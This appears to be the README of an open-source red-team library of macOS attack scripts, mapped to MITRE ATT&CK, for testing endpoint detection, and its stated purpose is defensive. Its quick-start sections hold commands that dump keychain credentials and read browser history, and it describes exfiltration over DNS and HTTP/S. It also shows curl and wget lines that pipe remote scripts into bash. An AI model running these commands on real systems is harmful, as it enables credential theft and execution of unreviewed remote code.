ATT&CK Matrix •
Key Features •
Quick Start •
Research Library
Attack-macOS is a library of scripts that security teams can use to evaluate macOS endpoint detection and response capabilities. This project aims to simplify the execution of Living Off The Orchard (LOObins) techniques via standalone scripts with built-in encoding, encryption, formatting, logging, and exfiltration over DNS and HTTPS/S.
flowchart TD
A1("🚫 Limited OSS testing tools")
A2("⚡ Existing tools are tier II/III (advanced C2s)")
A3("🛡️ Commercial tools focus on hardening and MDM")
style A1 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A2 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A3 stroke:#ff6b35,stroke-width:2px,fill:transparent
flowchart TD
A4("📊 Limited technique and procedure coverage")
A5("❓ Known risks are not common knowledge")
A6("🔧 Hard to operationalize test pipelines")
style A4 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A5 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A6 stroke:#ff6b35,stroke-width:2px,fill:transparent
flowchart TD
A1("✓ Build a library of attack scripts that help security teams evaluate and improve macOS endpoint detection and response capabilities.
")
style A1 stroke:#90EE90,stroke-width:2px,fill:transparent
Feature | Description | Benefit |
---|---|---|
Builder Tool | Includes a YAML template, schema, and builder tool for creating new scripts with built-in argument parsing and validation. Parse Args | Eliminates script development time and reduces errors through automated validation |
Modular Design | Self-contained scripts that can be used independently or combined, easily integrating with existing security test frameworks. | Enables quick deployment without complex tool chains or infrastructure changes |
Standardized Help | All scripts include --help menus for standalone execution via custom deployment frameworks or attackmacos.sh handler. |
Accelerates execution by eliminating documentation lookup and deployment confusion |
macOS Native | Uses native tools and interpreters without external dependencies. See LOOBins. | Produces macOS telemetry often attrivbuted to threat actors. |
MITRE ATT&CK Mapped | All scripts and arguments directly mapped to the MITRE ATT&CK framework. | Streamlines compliance reporting and threat model alignment |
Logging | Built-in syslog logging capability with output formatting in JSON or CSV for analysis. Log Output | Automates evidence collection and accelerates post-test analysis |
Encoding and Encryption | Multiple data encoding options and integrated encryption functions including AES-256-CBC, GPG, and XOR. Encode Output • Encrypt Output | Improves test realism by simulating actual evasion techniques |
Exfiltration | Simulates data exfiltration via HTTP/S or DNS protocols. Exfiltrate Data | Tests complete attack chains to identify detection gaps in data loss prevention |
CI/CD Pipeline Ready | Integrates with existing security tools, automation pipelines, and CI/CD workflows. | Enables continuous security testing without manual intervention |
Caldera Integration | Native Caldera plugin for seamless integration with red team operations. Caldera Plugin | Streamlines deployment and execution in enterprise red team frameworks |
flowchart TD
A( 1: Choose your procedure script) --> A1("🐚 Shell Scripts")
A --> A2("🟡 JXA Scripts")
A --> A3("🐍 Python Scripts")
A --> A4("🦉 Swift Scripts")
A1 --> B( 2: Choose Delivery Method)
A2 --> B
A3 --> B
A4 --> B
B --> B1("🏠 Local ")
B --> B2("☁️ Remote from GGH</br>curl</br>wget</>osascript ")
B1 --> C(3: Execute</br>T1634: Dump Keys)
B2 --> C
C --> C1("📋 Format")
C --> C2("🔧 Encode")
C --> C3("🔐 Encrypt")
C --> C4("📡 Exfiltrate")
C1 --> D("📋 Log and<br>🔍Analyze Events")
C2 --> D
C3 --> D
C4 --> D
D --> D1("🎯 Identify Endpoint</br>Detection Gaps")
style A1 fill:transparent,stroke:#6140E0,stroke-width:2px
style A2 fill:transparent,stroke:#C7B300,stroke-width:2px
style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px
style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px
style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff
style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff
# 1. Clone the repository
git clone https://github.com/yourusername/attack-macOS.git
cd attack-macOS
# 2. Local execution using the handler
./attackmacos/attackmacos.sh --method local --tactic discovery --ttp browser_history --args='-s'
# 3. Remote execution using the handler
./attackmacos/attackmacos.sh --method curl --tactic credential_access --ttp keychain --args='--verbose --encode base64'
# 4. List available TTPs for a tactic
./attackmacos/attackmacos.sh --list-local --tactic discovery
./attackmacos/attackmacos.sh --list-remote --tactic credential_access
# 5. Show banner and help
./attackmacos/attackmacos.sh --banner --help
# 1. Build and sync Caldera plugin
python cicd/build_shell_procedure.py --sync-caldera
# 2. Copy plugin to Caldera
cp -r integrations/caldera/plugins/attackmacos /path/to/caldera/plugins/
# 3. Restart Caldera server
# Plugin abilities will be available in operations
# 4. Use with facts in Caldera
# Set fact: user.arg = "--safari --chrome --search malware"
# Execute ability: browser_history
Caldera Documentation: Caldera Plugin Guide
# 1. Clone the repository
git clone https://github.com/yourusername/attack-macOS.git
cd attack-macOS
# 2. Run a technique directly
./ttp/discovery/shell/system_info.sh
# 3. Run with custom parameters
./ttp/credential_access/shell/keychain.sh --verbose --log-output --encode base64
# 4. Use the builder to create custom scripts
cd tools
python3 build_shell_procedure.py --input ../attackmacos/ttp/discovery/shell/system_info.yml --output ../custom_scripts/
# 1. Execute directly from GitHub without cloning
curl -s https://raw.githubusercontent.com/yourusername/attack-macOS/main/ttp/discovery/shell/system_info.sh | bash
# 2. Download and execute with parameters
curl -s https://raw.githubusercontent.com/yourusername/attack-macOS/main/ttp/credential_access/shell/keychain.sh | bash -s -- --verbose --log-output --encode base64
# 3. Execute specific technique with wget
wget -qO- https://raw.githubusercontent.com/yourusername/attack-macOS/main/ttp/discovery/shell/browser_history.sh | bash
Apache License 2.0. LICENSE
Contributor acknowledgements and project credits Acknowledgements.md.
Research references see References.md.